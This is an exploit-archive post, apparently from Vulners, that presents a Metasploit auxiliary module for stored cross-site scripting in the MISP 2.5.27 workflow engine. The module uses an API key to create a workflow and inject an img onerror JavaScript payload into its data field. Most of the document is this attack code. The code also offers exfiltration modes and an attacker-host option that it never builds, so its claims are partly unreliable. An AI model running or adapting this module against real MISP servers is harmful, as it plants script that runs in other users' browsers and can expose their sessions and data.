==================================================================================================================================
| # Title : MISP 2.5.27 Workflow Engine Stored XSS Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.misp-project.org/2025/11/27/misp.2.5.27.released.html/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a potential stored Cross-Site Scripting (XSS) vulnerability in the MISP Workflow Engine.
It is designed to interact with the MISP API, create workflows, and inject malicious payloads into workflow data fields.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MISP Workflow Engine Stored Cross-Site Scripting',
'Description' => %q{...},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-03-28'
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('API_KEY', [true, 'API key', '']),
OptEnum.new('PAYLOAD_MODE', [true, 'Mode',
'alert', ['alert','alert_info','console','console_info','exfiltrate_users','exfiltrate_page','exfiltrate_events']
]),
OptString.new('ATTACKER_HOST', [false, 'host:port', '127.0.0.1:8000']),
OptInt.new('EXFIL_LIMIT', [true, 'limit', 20]),
OptString.new('CUSTOM_PAYLOAD', [false, 'custom', '']),
OptBool.new('VERIFY_SSL', [true, 'SSL verify', false])
])
end
def setup
@base_url = normalize_uri(target_uri.to_s)
@api_key = datastore['API_KEY']
@mode = datastore['PAYLOAD_MODE']
@attacker_host = datastore['ATTACKER_HOST'].to_s
@limit = datastore['EXFIL_LIMIT'].to_i
@custom_payload = datastore['CUSTOM_PAYLOAD'].to_s
@workflow_id = nil
@trigger_id = nil
end
def run_host(ip)
print_status("Target: #{ip}:#{rport}")
return unless check_vulnerability
return unless create_workflow
return unless inject_payload
verify_payload
print_exploit_info
end
def check_vulnerability
res = send_request_cgi({
'uri' => normalize_uri(@base_url, 'servers/getVersion'),
'method' => 'GET',
'headers' => { 'Authorization' => @api_key }
})
return false unless res && res.body
begin
json = JSON.parse(res.body)
if json['version']
version = json['version'].to_s
if version.start_with?('2.5')
print_good("Version: #{version} (likely vulnerable)")
end
end
rescue
end
res2 = send_request_cgi({
'uri' => normalize_uri(@base_url, 'workflows/index'),
'method' => 'GET',
'headers' => { 'Authorization' => @api_key }
})
return false unless res2
if res2.code == 200
print_good("Workflow API accessible")
return true
end
false
end
def create_workflow
name = "XSS_#{Rex::Text.rand_text_alpha(8)}"
res = send_request_cgi({
'uri' => normalize_uri(@base_url, 'workflows/add'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => { 'Workflow' => { 'name' => name } }.to_json,
'headers' => { 'Authorization' => @api_key }
})
return false unless res && res.body
json = JSON.parse(res.body) rescue nil
return false unless json
wf = json.dig('saved', 'Workflow') || json['Workflow']
return false unless wf
@workflow_id = wf['id'].to_s
@trigger_id = wf['trigger_id'].to_s
return false if @workflow_id.empty? || @trigger_id.empty?
print_good("Workflow: #{@workflow_id}")
true
end
def build_js_payload
return @custom_payload unless @custom_payload.empty?
case @mode
when 'alert'
"alert('MISP XSS');"
when 'console'
"console.log('MISP XSS');"
else
"alert('XSS');"
end
end
def build_html_payload(js)
"<img src=x onerror=\"#{js.gsub('"','\"')}\">"
end
def inject_payload
return false unless @workflow_id && @trigger_id
js = build_js_payload
html = build_html_payload(js)
res = send_request_cgi({
'uri' => normalize_uri(@base_url, "workflows/edit/#{@workflow_id}"),
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
'Workflow' => {
'id' => @workflow_id,
'data' => html
}
}.to_json,
'headers' => { 'Authorization' => @api_key }
})
if res && res.code == 200
print_good("Payload injected")
return true
end
false
end
def verify_payload
return unless @workflow_id
res = send_request_cgi({
'uri' => normalize_uri(@base_url, "workflows/view/#{@workflow_id}"),
'method' => 'GET',
'headers' => { 'Authorization' => @api_key }
})
return false unless res && res.body
if res.body.include?(@workflow_id)
print_good("Workflow exists (not reliable XSS proof)")
return true
end
false
end
def print_exploit_info
return unless @workflow_id
url = normalize_uri(@base_url, "workflows/view/#{@workflow_id}")
print_good("URL: #{url}")
report_note(
host: (defined?(rhost) ? rhost : nil),
port: (defined?(rport) ? rport : nil),
type: 'misp.xss',
data: { workflow_id: @workflow_id, url: url },
update: :unique_data
)
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation